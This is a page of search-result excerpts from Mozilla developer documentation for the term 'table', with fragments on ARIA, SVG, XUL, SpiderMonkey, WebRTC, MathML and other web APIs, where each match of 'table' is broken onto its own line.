...in other words: it has either of those values set explicitly on it, or it has inherited it from a containing element, or by being located within a column described by either <col> or <colgroup>. ...
...most <html> element that contains the image. if the image is in an <iframe>, its y is relative to that frame. in the diagram below, the top border edge is the top edge of the blue padding area. so the value returned by y would be the distance from that point to the top edge of the content area. ...
...And 9 more matches
ARIA: grid role - Accessibility
the grid role is for a widget that contains one or more rows of cells. the position of each cell is significant and can be focused using keyboard input. ...
...while it does not imply a specific visual presentation, it implies a relationship among elements. uses fall into two categories: presenting tabular information (data grids) and grouping other widgets (layout grids). even though both data grids and layout grids employ the sam...
...eractions need to be implemented. associated aria roles, states, and properties roles treegrid (subclass) if a grid has columns that can expanded or collapsed, a treegrid can be used. row a row inside the grid. rowgroup a group containing one or multiple rows. states and properties aria-level indicates the hierarchical level of the grid within other structures. aria-multiselec
table if aria-multiselec
table is set to true, multiple items in the grid can be selected. the default value is false. aria-readonly if the user can navigate the grid but not change the value or values of the grid, the aria-readonly should be set to true. the default value is false. for many use cases, an html
table element is sufficient as it and its elements already include many aria roles. ke...
...And 9 more matches
fill - SVG: Scalable Vector Graphics
20"> <animate attributetype="xml" attributename="r" from="0" to="40" dur="5s" fill="freeze" /> </circle> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used. for <altglyph>, fill is a presentation attribute that defines the color of the glyph. ...
... value <paint> default value black anima
table yes note: as a presentation attribute fill can be used as a css property. animate for <animate>, fill defines the final state of the animation. value freeze (keep the state of the last animation frame) | remove (keep the state of the first animation frame) default value remove anima
table no animatecolor warning: as of svg animation 2 <animatecolor> is deprecated and shouldn't be used. use <animate> instead. for <animatecolor>, fill defines the final state of the animation. ...
...emove anima
table no animatecolor warning: as of svg animation 2 <animatecolor> is deprecated and shouldn't be used. use <animate> instead. for <animatecolor>, fill defines the final state of the animation. value freeze (keep the state of the last animation frame) | remove (keep the state of the first animation frame) default value remove anima
table no animatemotion for <animatemotion>, fill defines the final state of the animation. value freeze (keep the state of the last animation frame) | remove (keep the state of the first animation frame) default value remove anima
table no animatetransform for <animatetransform>, fill defines the final state of the animation. value fre...
...And 9 more matches
xlink:href - SVG: Scalable Vector Graphics
nt>, <script>, <set>, <textpath>, <tref>, and <use>} html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a xlink:href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> a for <a>, xlink:href defines the location of the referenced object. value <iri> default value none anima
table yes altglyph for <altglyph>, xlink:href defines the reference either to a <glyph> element in an svg document fragment or to an <altglyphdef> element. if the reference is to a <glyph> element and that glyph is available, then that glyph is rendered instead of the characters that are inside of the <altglyph> element. if the reference is to an <altglyphdef> element, then if an appro...
...stead of the characters that are inside of the <altglyph> element. if the reference is to an <altglyphdef> element, then if an appropriate set of alternate glyphs is located from processing the <altglyphdef> element, then those alternate glyphs are rendered instead of the characters that are inside of the <altglyph> element. value <iri> default value none anima
table no animate, animatecolor, animatemotion, animatetransform, set for <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set>, xlink:href defines the reference to the element which is the target of this animation and which therefore will be modified over time. the target element must be part of the current svg document fragment. the value must point to exactly one targ...
...e target of the given animation. if the xlink:href attribute is not provided, the target element will be the immediate parent element of the current animation element. refer to the descriptions of the individual animation elements for any restrictions on what types of elements can be targets of particular types of animations. ...
...And 9 more matches
Forms related code snippets - Archive of obsolete content
vascript"> /*\ |*| |*| datepicker example mdndeveloper network |*| |*| https://developer.mozilla.org/docs/code_snippets/forms |*| https://developer.mozilla.org/user:fusionchess |*| |*| this snippet is released under the gnu public license, version 3 or later. ...
...ker example mdndeveloper network |*| |*| https://developer.mozilla.org/docs/code_snippets/forms |*| https://developer.mozilla.org/user:fusionchess |*| |*| this snippet is released under the gnu public license, version 3 or later. ...
...ument.createelement("caption"), odecryear = document.createelement("span"), oincryear = document.createelement("span"), odecrmonth = document.createelement("span"), oincrmonth = document.createelement("span"); var nid = ainstances.length, oth; this.target = otarget; this.display = document.createelement("span"); this.current = new date(); this.container = o
table; this.display.classname = sprefs + "-current-month"; this.id = nid; o
table.classname = sprefs + "-calendar"; o
table.id = sprefs + "-cal-" + nid; odecryear.classname = sprefs + "-decrease-year"; odecrmonth.classname = sprefs + "-decrease-month"; oincrmonth.classname = sprefs + "-increase-month"; oincryear.classname = sprefs + "-increase-year"; odecryear.innerhtm...
...And 8 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
sent in firefox 3.5+) enables use of the dump method for debugging. refer to the “javascript debugging methods” sidebar. true javascript.options.showinconsole (present in firefox 3.5+) outputs javascript errors to the error console. true javascript.options.strict (present in firefox 3.5+) enforces strict error output from javascript true
table 1: preferences to set for developing extensions to make these changes, start your development profile, type about:config into firefox’s location bar and open the preferences window; find the preferences listed in
table 1 and double-click on them to set them accordingly. some of these preferences do not exist—to create them, right-click, select “new>boolean”, and type in the name and set ...
... 3: menu after phase 1 complete source file structure first set up the work folders you’ll use to organize your extension’s source files. the folder can be wherever you want, but for the purposes of this guide, we’ll assume it’s at c:\extensions\helloworld . create folders and files in your work folder as shown in figure 4. ...
...and files in your work folder as shown in figure 4. the purpose of each file created during phase 1 is explained in
table 2. figure 4: folder structure used in phase 1 c:/ └───extensions └───helloworld │ chrome.manifest │ install.rdf │ └───content clock.js clock.xul overlay.xul
table 2: how files are used in phase 1 fixme: make the
table cleaner file name role install.rdf called the install manifest, this gives basic information about the extension, and is required in order for the extension to be installed in firefox.. chrome.manifest this is the chrome manifest described in the earlier section. registers packages and i...
...And 8 more matches
menulist - Archive of obsolete content
displayed in the menulist. the currently selected choice is displayed on the menulist element. to create the drop-down, put a menupopup inside the menulist containing the choices as menuitem elements. the command event may be used to execute code when the menulist selection changes. more information is available in the xul tutorial. ...
... menuitem elements. the command event may be used to execute code when the menulist selection changes. more information is available in the xul tutorial. ...
...enu { max-width: none; } disableautoselect type: boolean if this attribute is true or omitted, the selected item on the menu will update to match what the user entered in the textbox. if the text does not match any of the items in the list, the menu selection is cleared. if this attribute is false, the selection is never updated to match the text box. this attribute applies only to edi
table menulists. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. in the case of form elements, it will not be submitted. do not set the att...
...And 8 more matches
HTML text fundamentals - Learn web development
a live example. in the example below, add elements to the raw text in the input field so that it appears as a heading and two paragraphs in the output field. if you make a mistake, you can always reset it using the reset button. if you get stuck, press the show solution button to see the answer. playable code <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>edi
table code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="input" style="min-height: 100px; width: 95%">my short story i am a statistician and my name is trish. my legs are made of cardboard and i am married to a fish.</textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <...
...s bread hummus </ul> the last step is to wrap each list item in a <li> (list item) element: <ul> <li>milk</li> <li>eggs</li> <li>bread</li> <li>hummus</li> </ul> active learning: marking up an unordered list try editing the live sample below to create your very own html unordered list. ...
...</li> <li>go straight across the first two roundabouts</li> <li>turn left at the third roundabout</li> <li>the school is on your right, 300 meters up the road</li> </ol> active learning: marking up an ordered list try editing the live sample below to create your very own html ordered list. ...
...And 8 more matches
GC Rooting Guide
:rooted<t> will cast to a js::handle<t>, the compiler will enforce correct rooting of any parameters passed to a function that may trigger gc. js::handle<t> exists because creating and destroying a js::rooted<t> is not free (though it only costs a few cycles). thus, it makes more sense to only root the gc thing once and reuse it through an indirect reference. like a reference, a js::handle is immu
table: it can only ever refer to the js::rooted<t> that it was created for. similarly to js::rooted<t>, there are typedefs available for the main types: template class typedef js::handle<js::value> js::handlevalue js::handle<jsobject*> js::handleobject js::handle<jsstring*> js::handlestring js::handle<jsscript*> js::handlescript ...
...s::handlescript js::handle<jsid> js::handleid you should use js::handle<t> for all function parameters taking gc thing pointers (except out-parameters, which are described below). for example, instead of: jsobject * somefunction(jscontext *cx, jsobject* obj) { // ... } you should write: jsobject * somefunction(jscontext *cx, js::handleobject obj) { // ... ...
... all function parameters taking gc thing pointers (except out-parameters, which are described below). for example, instead of: jsobject * somefunction(jscontext *cx, jsobject* obj) { // ... } you should write: jsobject * somefunction(jscontext *cx, js::handleobject obj) { // ... } js::mu
tablehandle<t> all gc thing pointers that are used as out-parameters must be wrapped in a js::mu
tablehandle<t>. a js::mu
tablehandle<t> is a reference to a js::rooted<t> that, unlike a normal handle, may modify the underlying js::rooted<t>. all js::mu
tablehandle<t>s are created through an explicit "&" - address of operator - on a js::rooted<t> instance. js::mu
tablehandle<t> is exactly like a js::handle<t> except that it adds a .set(t &t) method and must be created from a js::rooted<t> explicitly. ...
...And 8 more matches
nsIFile
inherits from: nsisupports last changed in gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27) nsifile is the correct platform-agnostic way to specify a file; you should always use this instead of a string to ensure compatibility. with an nsifile you can navigate to ancestors or descendants without having to deal with the different path separators used on different platforms, query the state of any file or directory at the position represented by the nsifile and create, move or copy items in the filesystem. ...
... locations retrieved from the directory service. all methods with string parameters have two forms. the preferred form operates on utf-16 encoded characters strings. an alternate form operates on characters strings encoded in the "native" charset. a string containing characters encoded in the native charset cannot be safely passed to javascript via xpconnect. therefore, the utf-16 forms are scrip
table, but the "native methods" are not. in addition, the native form cannot deal with files whose name contains characters outside the default system code page on windows. using the native form limits the ability of your code to deal with the full unicode support on windows 2000 or later where the os itself does not have such a limitation. therefore, you must not use the native form unless it is guara...
... ...
...And 8 more matches
Storage
statements on your database. for a complete reference see mozistoragestatement. creating a statement there are actually two ways to execute a statement. you should choose the right one based on your needs. ...
...ents on your database. for a complete reference see mozistoragestatement. creating a statement there are actually two ways to execute a statement. you should choose the right one based on your needs. ...
...statement. you should choose the right one based on your needs. ...
...And 8 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
ty.[important] get_accvalue: get the "value" of the iaccessible, for example a number in a slider, a url for a link, the text a user entered in a field. [important] get_accdescription: get a long description of the current iaccessible. this is not really too useful. get_accrole: get an enumerated value representing what this iaccessible is used for, for example. is it a link, static text, edi
table text, a checkbox, or a
table cell, etc. [important] get_accstate: a 32 bit field representing possible on/off states, such as focused, focusable, selected, selec
table, visible, protected (for passwords), checked, etc. [important] get_acchelp: get context sensitive help for the iaccessible. get_acchelptopic: we don't use this, it's only if the windows help system is used. get_acckeyboardshortc...
... check with your assistive technology partn...
... check with your assistive technology partners to find out what roles you need to support. there's a very good chance they won't ask for more ...
...And 8 more matches
Firefox user agent string reference - HTTP
ity with websites that expect firefox. firefoxversion will generally represent the equivalent firefox release corresponding to the given gecko version. some gecko-based browsers may not opt into using this token; for this reason, sniffers should be looking for gecko — not firefox! whether this token appears is controlled by the "general.useragent.compatmode.firefox" boolean pref. mobile and
tablet indicators only from firefox 11 onwards. the platform part of the ua string indicates if firefox is running on a phone-sized or
tablet device. when firefox runs on a device that has the phone form factor, there is a mobile; token in the platform part of the ua string. when firefox runs on a
tablet device, there is a
tablet; token in the platform part of the ua string instead. for example: m...
...avoid inferring materials based on these. the preferred way to target content to a device form factor is to use css media queries. ...
... preferred way to target content to a device form factor is to use css media queries. however, if you use ua sniffing to target content to a device form factor, please look for mobi (to include opera mobile, which uses "mobi") for the phone form factor and do not assume any correlation between "android" and the device form factor. this way, your code will work if/when firefox ships on other phone/
tablet operating systems or android is used for laptops. also, please use touch detection to find touch devices rather than looking for "mobi" or "
tablet", since there may be touch devices which are not
tablets. firefox os devices identify themselves without any operating system indication; for example: "mozilla/5.0 (mobile; rv:15.0) gecko/15.0 firefox/15.0". the web is the platform. windows windows...
...And 8 more matches
MathML attribute reference - MathML
description accent <mo>, <mover>, <munderover> a boolean value specifying whether the operator should be treated as an accent. accentunder <munder>, <munderover> a boolean value specifying whether the operator should be treated as an accent. actiontype <maction> a string value specifying the action happening for this element. align <m
table> <munder>, <mover>, <munderover> <mstack> specifies different alignments of several elements (see element pages for details). unimplemented alignmentscope <m
table> a boolean value specifying whether
table columns should act as alignment scopes or not. unimplemented altimg altimg-width altimg-height altimg-valign alttext <math> visual an...
...g-valign alttext <math> visual and textual fall-back options. bevelled <mfrac> specifies the style how the fraction should be displayed. deprecated. use u+2044 (fraction slash) instead. unimplemented charalign <mstack> specifies the horizontal alignment of digits. close <mfenced> a string for the closing delimiter. ...
... bevelled <mfrac> specifies the style how the fraction should be displayed. deprecated. use u+2044 (fraction slash) instead. unimplemented charalign <mstack> specifies the horizontal alignment of digits. close <mfenced> a string for the closing delimiter. columnalign <m
table>, <mtd>, <mtr>, <mlabeledtr> specifies the horizontal alignment of
table cells. columnlines <m
table> specifies
table column borders. columnspacing <m
table> specifies the space between
table columns. columnspan <mtd> a non-negative integer value that indicates over how many
table columns the cell extends. unimplemented columnwidth <m
table> specifies the width of
table columns. unimplemented crossout ...
...And 8 more matches
Deploying XULRunner - Archive of obsolete content
note: to actually install a xulrunner application, a compatible version of xulrunner must be registered on the system and the app must be deployed per the instructions at xul application packaging. if your installer is capable of determining whether or not xulrunner has been registered on the system you could perform the check and register the appropriate version if necessary. ...
...nd appear in start menus, lists of installed programs, etc. (bonus points for checking the operating system and downloading the right xulrunner on the fly, or bundling them into your installer). registration and app installation are performed with command line switches as outlined in the xulrunner section of article command line options. it may turn out to be easier to create a self contained por
table application, as described here, and deploy it with a generic installer that would create shortcuts to scripts that launch your application in the unregistered bundled xulrunner. the responsibility still lies with the developer to provide the correct version of xulrunner per platform. in the end, most users are afraid of links that don't have a pretty icon so you may want to have a look at the bra...
...xulrunner applications. the installed files should be arranged in the following directory structure: installdir/ application.ini components/ ... components which are part of the application chrome/ ... chrome which is part of the application ... additional application files such as icons, etc myapplicationname.exe (this is the "stub execu
table"... you should copy and rename this file from xulrunner-stub.exe in your xulrunner installation.) xulrunner/ ... copy xulrunner/ to this directory when deploying with xulrunner 2.0 and above do the following: move chrome.manifest to the root directory, and adjust resource paths inside chrome.manifest accordingly with xulrunner 9.0 or 10.0 you may need to ...
...And 7 more matches
Introduction to cross browser testing - Learn web development
testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages. objective: to gain an understanding of the high-level concepts involved in cross browser testing. what is cross browser testing? cross browser testing is the practice of making sure that the web sites and web apps you create work across an accep
table number of web browsers. as a web developer, it is your responsibility to make sure that not only do your projects work, but they work for all your users, no matter what browser, device, or additional assistive tools they are using. you need to think about: different browsers other than the one or two that you use regularly on your devices, including slightly older browsers that some people mig...
...hat browser, device, or additional assistive tools they are using. you need to think about: different browsers other than the one or two that you use regularly on your devices, including slightly older browsers that some people might still be using, which don't support all the latest, shiniest css and javascript features. different devices with different capabilities, from the latest greatest
tablets and smartphones, through smart tvs, right down to cheap
tablets and even older feature phones that may run browsers with limited capabilities. people with disabilities, who use the web with the aid of assistive technologies like screenreaders, or don't use a mouse (some people use only the keyboard). remember that you are not your users — just because your site works on your macbook pro or...
...ers — there's a whole lot of testing to be done! note: make the web work for everyone provides more useful perspective on the different browsers people use, their market share, and related cross browser compatibility issues. we should explain a few bits of terminology here. to start with, when we talk about sites "working cross browser", we are really saying that they should provide an accep
table user experience across different browsers. it is potentially ok for a site to not deliver the exact same experience on all browsers, as long as the core functionality is accessible in some way. on modern browsers you might get something animated, 3d and shiny, whereas on older browsers you might just get a flat graphic representing the same information. as long as the site owner is happy with thi...
...And 7 more matches
Mozilla accessibility architecture
s names. given that there is a fair amount of commonality between accessibility api toolkits, it made sense to write of the code in a cross platform manner, and then deal with the platform differences on a consistent manner. the shared code makes itself available to the toolkit-specific code via generic xpcom interfaces that return information about objects we want to expose. ...
...we will not rule out the possibility of supporting some of the rich atk interfaces on windows. ...
...we will not rule out the possibility of supporting some of the rich atk interfaces on windows. ...
...And 7 more matches
Gecko info for Windows accessibility vendors
we do not currently support state_moveable, state_sizeable or state_marqueed. we do not currently support role_system_row, although internet explorer doesn't either, and the reason seems apparent. it is not obvious where the role_system_row should exist in the tree when the html rowspan attribute is used to combine to cells in different rows. ...
...tem_row, although internet explorer doesn't either, and the reason seems apparent. it is not obvious where the role_system_row should exist in the tree when the html rowspan attribute is used to combine to cells in different rows. there are currently two techniques for parsing
tables: 1) use acclocation() to get the coordinates for each cell and feed that into an algorithm that builds up your own
table data structure, or 2) use isimpledomnode and parse the
table see below for the complete list of roles and notes about what we support intentional differences with internet explorer for the most part, where we support an msaa feature, we have tried to duplicate internet explorer's use of it. please let us know if you find any differences not listed here: accessible relations are suppo...
...ead. neither "description:" or "of" in the above strings is ever localized, so they should be parsed out. dhtml accessibility is supported this means that you may encounter roles that are not typically in html content. be prepared for new combinations of roles and states in content, such as role_slider, role_progressbar and state_required. in addition, check the state_focusable bit on
tables, which indicates a traversable dhtml spreadsheet. please see the dhtml accessibility documentation page for more information on this topic. iaccessibles persist unless the document changes, retrieving the iaccessible more than once for the same object will return the same iaccessible*. the uniqueid will remain the same as well. if the document does change, event_reorder, event_hide a...
...And 7 more matches
nsITextInputProcessor
nsidomwindowutils has provided the methods which dispatched keyboard events and composition events almost directly. ...
...: tip.cancelcomposition(); when you dispatch keydown event (and one or more keypress events), just do this: var keyevent = new keyboardevent("", // type attribute value should be empty. { key: "enter", // required. code: "enter", // optional. keycode: keyboardevent.dom_vk_return, // required if prin
table key, but optional if non-prin
table key. location: keyboardevent.dom_vk_standard, // optional, may be computed from code attribute value. repeat: false, // optional. }); // the other attributes are always ignored. var dodefault = tip.keydown(keyevent); when you dispatch keyup event, just do this: var keyevent = n...
...y converted. attr_selected_clause 0x05 a clause attribute. this means that the clause is already converted and is selected to convert. key_default_prevented 0x00000001 one of akeyflags. when this is specified, defaultprevented attribute of dispatching keyboard events true. this is not useful in usual cases. this may be useful for automated tests. ...
...And 7 more matches
XPCOM primitive
an xpcom primitive is an xpcom object that "boxes" a value of a primitive type. all xpcom primitives are scrip
table, and they all implement an xpcom interface from the
table below. primitives are rarely useful. the main use case is to store primitive values in a data structure that can only store xpcom objects, such as nsiarray. also, certain apis, such as nsitransferable.settransferdata(), require primitives. ...
...he main use case is to store primitive values in a data structure that can only store xpcom objects, such as nsiarray. also, certain apis, such as nsitransferable.settransferdata(), require primitives. ...
...are designing that kind of api today, you should probably use nsivariant instead.) idl data type interface component idl nsidptr nsisupportsid @mozilla.org/supports-id;1 [scrip
table, uuid(d18290a0-4a1c-11d3-9890-006008962422)] interface nsisupportsid : nsisupportsprimitive { attribute nsidptr data; string tostring(); }; astring nsisupportsstring @mozilla.org/supports-string;1 [scrip
table, uuid(d79dc970-4a1c-11d3-9890-006008962422)] interface nsisupportsstring : nsisupportsprimitive { attribute astring data; wstring tostring(); }; prbool nsisupportsprbool @mozilla.org/supports-prbool;1 [scrip
table, uuid(ddc3b490-4a1c-11d3-9890-006008962422)] interface nsisupportsprbool : nsisupportsprimitive { attribute prbool data; string tostring(); }; pruint8 nsisupportsprui...
...And 7 more matches
Add to iPhoto
s is done using the js-ctypes library object's declare() method, just like importing a function: this.kcftypearraycallbacks = this.lib.declare("kcftypearraycallbacks", this.cfarraycallbacks); note: for the record, this is the part that requires a nightly build of firefox 3.7a5pre dated april 16, 2010 or later; this capability was introduced in that build. cfmu
tablearray one thing about core foundation types that is interesting is the use of regular and mu
table versions of the same data types. for example, the cfarray type describes an array, but cfarray objects can't be changed once they've been created. however, obviously there are cases in which you'll want to be able to manipulate the contents of an array by adding and removing items, sorting them, and...
...dation types that is interesting is the use of regular and mu
table versions of the same data types. for example, the cfarray type describes an array, but cfarray objects can't be changed once they've been created. however, obviously there are cases in which you'll want to be able to manipulate the contents of an array by adding and removing items, sorting them, and so forth. that's where the cfmu
tablearray type comes into play. all cfarray functions accept cfmu
tablearray objects, so you can use cfmu
tablearray with any routine that accepts a cfarray as input, but cfmu
tablearray supports additional functions that let you change the contents of the array. ...
... carbon the carbon api is the core operating system api derived from the classic mac operating system. we actually aren't using any carbon methods, but we are using one carbon data type, the previously mentioned fsref structure. fsref is an opaque object describing a file. ...
...And 7 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
'll consider yours instead." an impolite peer, which always ignores incoming offers that collide with its own offers. it never apologizes or gives up anything to the polite peer. any time a collision occurs, the impolite peer wins. this way, both peers know exactly what should happen if there are collisions between offers that have been sent. responses to error conditions become far more predic
table. how you determine which peer is polite and which is impolite is generally up to you. it could be as simple as assigning the polite role to the first peer to connect to the signaling server, or you could do something more elaborate like having the peers exchange random numbers and assigning the polite role to the winner. however you make the determination, once these roles are assigned to the tw...
...lse; } }; note that setlocaldescription() without arguments automatically creates and sets the appropriate description based on the current signalingstate. the set description is either an answer to the most recent offer from the remote peer or a freshly-created offer if there's no negotiation underway. here, it will be always be an offer, because the negotiationneeded event is only fired in s
table state. we set a boolean variable, makingoffer to true to mark that we're preparing an offer. to avoid races, we'll use this value later instead of the signaling state to determine whether or not an offer is being processed because the value of signalingstate changes asynchronously, introducing a glare opportunity. once the offer has been created, set and sent (or an error occurs), makingoffer g...
... as an onmessage event handler on the signaling channel object. this method is invoked each time a message arrives from the signaling server. ...
...And 7 more matches
Example and tutorial: Simple synth keyboard - Web APIs
ard horizontally scrollable if all the keys don't fit on the screen, without having them wrap around. the keyboard first, we create space to build the keyboard into. we will be programmatically constructing the keyboard, because doing so gives us the flexibility to configure each key as we determine the appropriate data for the corresponding note. in our case, we get each key's frequency from a
table, but it could be calculated algorithmically as well. <div class="container"> <div class="keyboard"></div> </div> the <div> named "container" is the scrollable box that lets the keyboard be scrolled horiontally if it's too wide for the available space. the keys themselves will be inserted into the block of class "keyboard". the settings bar beneath the keyboard, we'll put some controls for ...
... let audiocontext = new (window.
... let audiocontext = new (window.audiocontext || window.webkitaudiocontext)(); let osclist = []; let mastergainnode = null; audiocontext is set to reference the global audiocontext object (or w...
...And 7 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
"password"/> radio a radio button, allowing a single value to be selected out of multiple choices with the same name value. <input type="radio" name="radio"/> range a control for entering a number whose exact value is not important. displays as a range widget defaulting to the middle value. used in conjunction min and max to define the range of accep
table values. <input type="range" name="range" min="0" max="25"/> html5 reset a button that resets the contents of the form to default values. not recommended. <input type="reset" name="reset"/> search a single-line text field for entering search strings. line-breaks are automatically removed from the input value. may include a delete icon in supp...
...since every <input> element, regardless of type, is based on the htmlinputelement interface, they technically share the exact same set of attributes. however, in reality, most attributes have an effect on only a specific subset of input types. in addition, the way some attributes impact an input depends on the input type, impacting different input types in different ways. this section provides a
table listing all the attributes with a brief description. this
table is followed by a list describing each attribute in greater detail, along with which input types they are associated with.those that are common to most or all input types are defined in greater detail below. attributes that are unique to particular input types—or attributes which are common to all input types but have special behavi...
...to allow multiple values name all name of the form control. submitted with the form as part of a name/value pair. pattern password, text, tel pattern the value must match to be valid placeholder password, search, tel, text, url text that appears in the form control when it has no value set readonly almost all boolean. the value is not edi
table required almost all boolean. a value is required or must be check for the form to be submit
table size email, password, tel, text size of the control src image same as src attribute for <img>; address of image resource step numeric types incremental values that are valid. type all type of form control value all ...
...And 7 more matches
href - SVG: Scalable Vector Graphics
et>, <textpath>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a url reference. value <url> default value none anima
table yes animate, animatemotion, animatetransform, set for the <animate>, <animatemotion>, <animatetransform>, and <set>, href defines a url referring to the element which is the target of this animation element and which therefore will be modified over time. the url must point to exactly one target element which is capable of being the target of the given animation element. if the url poi...
...ents for any restrictions on what types of elements can be targets of particular types of animations. except for any svg-specific rules explicitly mentioned in this specification, the normative definition for this attribute is the smil animation specification. in particular, see smil animation: specifying the animation target. value <url> default value none anima
table no discard for <discard>, href defines a url referring the target element to discard. see the definition of href on animation elements for details on identifying a target element. note: unlike other animation elements, the <discard> element does not support the deprecated xlink:href attribute. note that if the target element is not part of the current svg document fragment, then wh...
...precated xlink:href attribute. note that if the target element is not part of the current svg document fragment, then whether the target element will be removed or not is defined by the host language. if the href attribute is not provided, then the target element will be the immediate parent element of the <discard> element. value <url> default value none anima
table no feimage for <feimage>, href defines a url referring to an image resource or to an element. if both, the xlink:href and the href attribute are specified, the latter overrides the former. value <url> default value none anima
table yes image for <image>, href defines a url referring to the image to render. value <url> de...
...And 7 more matches
Reading from Files - Archive of obsolete content
file and stream guide: [ nsiscrip
tableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscrip
tableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscrip
tableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. reading data from a file involves getting a reference to ...
...f it were text or a binary file. using the former will cause characters in the stream to be interpreted with a particular character encoding. in addition, lines may be read by reading the file up until a linefeed character is detected. a binary stream would be used to read bytes or numbers encoded within the file. ...
...this method will open the file and return a stream. ...
...And 6 more matches
LiveConnect Overview - Archive of obsolete content
inal javascript object type. the jsobject class provides an interface for invoking javascript methods and examining javascript properties. javascript to java communication when you refer to a java package or class, or work with a java object or array, you use one of the special liveconnect objects. all javascript access to java takes place with these objects, which are summarized in the following
table.
table 9.1 the liveconnect objects object description javaarray a wrapped java array, accessed from within javascript code. javaclass a javascript reference to a java class. javaobject a wrapped java object, accessed from within javascript code. javapackage a javascript reference to a java package. note: because java is a s...
... rules for converting these return values are also described in these sections. for example, if jsobject.eval returns a javascript number, you can find the rules for converting this number to an instance of java.lang.object in number values. number values when you pass javascript number types as parameters to java methods, java converts the values according to the rules described in the following
table: java parameter type conversion rules double the exact value is transferred to java without rounding and without a loss of magnitude or sign. nan is converted to nan. java.lang.double java.lang.object a new instance of java.lang.double is created, and the exact value is transferred to java without rounding and without a loss of ...
...en a javascript number is passed as a parameter to a java method which expects an instance of java.lang.string, the number is converted to a string. use the equals() method to compare the result of this conversion with other string values. boolean values when you pass javascript boolean types as parameters to java methods, java converts the values according to the rules described in the following
table: java parameter type conversion rules boolean all values are converted directly to the java equivalents. java.lang.boolean java.lang.object a new instance of java.lang.boolean is created. each parameter creates a new instance, not one instance with the same primitive value. java.lang.string values are converted to strings. for example: ...
...And 6 more matches
Mozilla’s UAAG evaluation report
when images turned off. see meta bug 41924 for open issues with the alt attribute. title for *any* element: rendered as tooltip longdesc for img element: in context menu - properties content of object element: ? alt for area element: ? alt for input element: ? acronym element: supported abbr element: supported abbr attribute for td/th: not supported summary for
table: supported title for frame: ? longdesc for frame: not supported, see bug 3658 noframe for frame: must use user style sheets to render this. a ui for this would be good. noscript for script: must use user style sheets to render this. a ui for this would be good. 2.4 allow time-independent interaction. (p1) nr need to look into this 2.5 make captions, transcr...
...l content automatically. (p3) g alt for img: rendered when images turned off title for *any* element: rendered as tooltip longdesc for img element: in context menu - properties content of object element: ? alt for area element: ? alt for input element: ? acronym element: supported abbr element: supported abbr attribute for td/th: not supported summary for
table: supported title for frame: ? longdesc for frame: not supported, see bug 3658 noframe for frame: must use user style sheets to render this. a ui for this would be good. noscript for script: must use user style sheets to render this. a ui for this would be good. 2.10 toggle placeholders. (p3) ni 2.11 alert unsupported language. (p3) nr ? g...
...elected (on by default). 7.4 input configuration indications. (p2) g menus indicate accesskey and accelerator configurations accelerators not show in button tooltips guideline 8. implement specifications that benefit accessibility. checkpoint title status notes/plans 8.1 implement accessibility features. ...
...And 6 more matches
Index
_null. 50 js::int32value jsapi reference, reference, référence(2), spidermonkey js::int32value converts a c signed 32-bit integer of type int32_t to js::value, the type of javascript values. 51 js::iscallable jsapi reference, reference, référence(2), spidermonkey js::iscallable returns whether the given function object is callable. 52 js::mu
tablehandle jsapi reference, reference, référence(2), spidermonkey here, ptr represents the private member of js::mu
tablehandle<t>, typed with t *. 53 js::newfunctionfromspec jsapi reference, reference, référence(2), spidermonkey js::newfunctionfromspec creates a new function based on the given jsfunctionspec, *fs. id is the result of a successful call to propertyspe...
...ified jsexceptionstate object, unrooting as necessary any attached exception object and freeing the memory resources associated with the jsexceptionstate object. 248 js_dumpheap jsapi reference, obsolete, spidermonkey see bug 378261 for detail. 249 js_dumpnamedroots jsapi reference, obsolete, spidermonkey each call to js_addnamedroot creates a record in a
table of named roots maintained by the garbage collector. js_dumpnamedroots provides a way for the application to access the contents of that
table. it calls the dump function once for each named root in the given runtime rt. in pseudocode: 250 js_encodecharacters jsapi reference, obsolete, spidermonkey js_encodecharacters copies the characters of a jschar array into a char array, ...
... js_forget_string_flatness converts jsflatstring * to jsstring *. 268 js_fs jsapi reference, spidermonkey use these macros to define an array of jsfunctionspecs to pass to js_definefunctions or js_initclass. 269 js_fileescapedstring jsapi reference, reference, référence(2), spidermonkey js_fileescapedstring writes str into file fp escaping any non-prin
table or non-ascii character. if quote is not 0, it must be a single or double quote character that will quote the output. 270 js_finish jsapi reference, obsolete, spidermonkey js_finish is obsolete. use js_destroyruntime instead. 271 js_flattenstring jsapi, jsapi reference, reference, référence(2), spidermonkey js_flattenstring flattens a string str and retu...
...And 6 more matches
Gecko events
transient children. is supported: no event_focus an object has received the keyboard focus. is supported: yes event_state_change an object's state has changed. is supported: yes states: state_focused, state_busy, xxx: event_location_change an object has changed location, shape, or size. is supported: no event_name_change an object's name property has changed. is supported: yes targets:
table_cell - the cell of <xul:tree/>, any accessible for html element when @title or @alt attribute is changed. event_description_change an object's description property has changed. is supported: no event_value_change an object's value property has changed. is supported: yes event_help_change an object's help has changed. is supported: no event_defaction_change an object's default action has ch...
